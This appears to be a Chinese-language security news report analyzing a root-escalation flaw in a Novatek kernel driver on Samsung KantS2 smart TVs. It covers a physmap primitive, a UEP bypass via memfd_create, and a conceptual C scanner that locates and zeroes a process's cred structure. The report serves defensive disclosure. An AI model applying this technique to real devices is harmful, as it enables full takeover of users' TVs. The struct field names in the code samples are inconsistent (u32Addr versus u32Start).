摘要

這份研究報告提供了針對三星 KantS2 智慧電視韌體中發現的重大權限提升漏洞的完整技術分析。調查重點在於不安全的核心驅動程式介面,這些介面將原始實體記憶體存取暴露給無特權的使用者。透過利用「physmap」核心操作,攻擊者可以繞過現代的資安緩解措施,例如未經授權執行預防 (Unauthorized Execution Prevention, UEP),並透過純資料攻擊 (data-only attack) 取得 root 層級的存取權。此報告詳細說明了漏洞的根本原因、利用方法,以及自動化工具在識別這些缺陷時的策略性運用。

不用 ROP、不用 shellcode:如何僅靠 physmap 與竄改 cred 結構破解三星電視 UEP | 資訊安全新聞

1. 簡介

現代智慧電視的資安架構通常依賴於沙箱(Sandboxing)與核心層級限制的組合,以保護敏感的使用者資料和系統完整性。以使用三星 Tizen 作業系統的 KantS2 平台為例,主要的防禦機制是未經授權執行預防 (UEP),它限制從檔案系統執行未簽章的執行檔 [1] 。然而,廠商專屬核心驅動程式的複雜性常常引入意料之外的攻擊面。此報告分析了如何透過利用整合到三星韌體中的 Novatek 驅動程式堆疊的漏洞,將瀏覽器應用程式環境中的據點提升為完整的系統 root 權限。

2. 技術環境與限制

目標環境具有幾個執行限制,這些限制決定了漏洞利用的策略。瀏覽器程序 (process) 在受限的資安環境中運作,因此需要多階段的方法來達成權限提升。

組件 技術規格
平台 Samsung KantS2 (Tizen OS)
架構 ARMv7l (32-bit)
資安緩解措施 未經授權執行預防 (UEP)
攻擊面 全域可寫入的裝置節點:/dev/ntksys, /dev/ntkhdma

為了繞過 UEP,攻擊者使用 memfd_create wrapper,這允許直接從記憶體執行 binary,從而繞過對磁碟上簽章檔案的需求 [1] 。此外,資訊收集是透過 /proc/cmdline 進行,以重建實體 RAM 佈局,因為在瀏覽器環境中對 /proc/iomem 的直接存取通常受到限制。

3. 漏洞分析:Physmap 核心操作

核心漏洞位於 /dev/ntksys 驅動程式中,這是 Novatek 堆疊的一個組件。該驅動程式提供了一個用於管理系統記憶體的介面,但未能對使用者提供的參數實施充分的驗證。該驅動程式使用一個名為 ST_SYS_MEM_INFO 的結構來儲存記憶體映射請求。

  1. /*
  2. * Source: ker_sys.h
  3. * Detailed Annotation:
  4. * This structure is used to pass physical memory mapping requests
  5. * from user space to the kernel driver.
  6. */
  7. typedef struct {
  8. u32 u32Addr; /* User-controlled physical start address */
  9. u32 u32Size; /* User-controlled size of the memory region */
  10. /* ... other fields ... */
  11. } ST_SYS_MEM_INFO;

漏洞位於 ker_sys.c 中的 IOCTL 處理邏輯。當使用者程序 (process) 提交映射請求時,驅動程式會儲存實體位址和大小,而不驗證請求的範圍是否與特權核心記憶體或其他敏感區域重疊。

  1. /*
  2. * Source: ker_sys.c (Simplified Write Path)
  3. * Detailed Annotation:
  4. * The driver accepts the physical address (u32Start) and size (u32Size)
  5. * directly from the user-provided structure without range validation.
  6. */
  7. static long ntksys_ioctl(struct file *file, unsigned int cmd, unsigned long arg) {
  8. ST_SYS_MEM_INFO user_info;
  9. copy_from_user(&user_info, (void __user *)arg, sizeof(ST_SYS_MEM_INFO));
  10. /* VULNERABILITY: No check on user_info.u32Start or user_info.u32Size */
  11. g_mem_table[index].phys_addr = user_info.u32Start;
  12. g_mem_table[index].size = user_info.u32Size;
  13. return 0;
  14. }

隨後在 /dev/ntksys 上的 mmap 操作會使用這些未經驗證的值,透過 remap_pfn_range 將任意的實體記憶體映射到呼叫者的位址空間。這提供了一個強大的「physmap」核心操作,允許攻擊者讀取和寫入 CPU 可存取到的任何實體記憶體位址 [1]

4. 漏洞利用策略:純資料攻擊 (Data-Only Attack)

與依賴劫持 (hijacking) 核心控制流程(例如透過緩衝區溢位或 Use-After-Free)的傳統漏洞利用不同,此攻擊是「純資料攻擊 (data-only)」。它利用 physmap 核心操作直接修改記憶體中的關鍵核心資料結構。主要目標是 cred 結構,該結構定義了程序 (process) 的權限。

graph TD A[Browser Foothold] --> B[Identify Attack Surface:
/dev/ntksys] B --> C[Gather Memory Layout:
/proc/cmdline] C --> D[Validate Physmap Primitive
via /dev/ntkhdma] D --> E[Scan Physical RAM
for 'cred' Structure] E --> F[Overwrite UID/GID with 0] F --> G[Achieve Root Shell]

漏洞利用過程首先使用 /dev/ntkhdma 來獲取一個已知有效的實體位址(例如 DMA buffer),以驗證 ntksys 映射是否正常運作。一旦驗證成功,攻擊者就會掃描從開機參數識別出的 RAM 視窗,尋找瀏覽器程序 (process) 的 cred 結構。這個結構是透過搜尋與瀏覽器使用者(例如 UID 5001)關聯的特定 UID 和 GID 模式來識別的。

這種方法與其他核心漏洞(例如在防毒驅動程式中發現的 Double-Fetch 缺陷)有概念上的相似之處 [2] 。雖然三星電視漏洞是直接缺乏驗證而非 race condition,但兩者都利用核心對使用者空間資料的信任來達成區域權限提升 (LPE)。

5. 實作與結果

最終的攻擊包含一個記憶體掃描器和一個修補程式。掃描器會逐一處理實體記憶體範圍,將它們以區塊 (chunk) 方式映射,並搜尋目標的認證 (Credential) 模式。

  1. /*
  2. * Exploit Helper: Credential Scanner (Conceptual)
  3. * Detailed Annotation:
  4. * This code maps physical memory chunks and searches for the
  5. * browser's UID (5001) to locate the 'cred' structure.
  6. */
  7. void find_and_patch_creds(uint32_t start_phys, uint32_t size) {
  8. void *mapped = map_phys_mem(start_phys, size);
  9. for (int i = 0; i < size - sizeof(struct cred); i++) {
  10. struct cred *c = (struct cred *)(mapped + i);
  11. if (c->uid == 5001 && c->gid == 100) {
  12. /* Found the target: Zero out IDs to become root */
  13. c->uid = c->gid = c->euid = c->egid = 0;
  14. printf("Success: Root privileges achieved.\n");
  15. return;
  16. }
  17. }
  18. }

成功覆寫 cred 結構後,瀏覽器程序 (process) 的身份將轉變為 root 使用者 (UID 0)。接著,攻擊者可以啟動 shell 或以完整的系統權限執行任何指令。此攻擊鏈的有效性證明了,即使沒有核心程式碼執行漏洞,不安全的記憶體管理介面也可能導致系統完全被攻陷。

6. 結論

對三星 KantS2 平台的分析顯示,嵌入式系統的安全性常常受到廠商專屬驅動程式的破壞,這些驅動程式繞過了標準的核心資安檢查。 ntksys 驅動程式未能驗證實體記憶體範圍,為權限提升到 root 提供了直接路徑,使得其他如 UEP 的資安緩解措施變得無效。為了減輕此類風險,核心驅動程式必須對所有使用者提供的位址和大小實施嚴格的驗證,並且應使用強健的 DAC/MAC 政策來限制對敏感裝置節點的存取。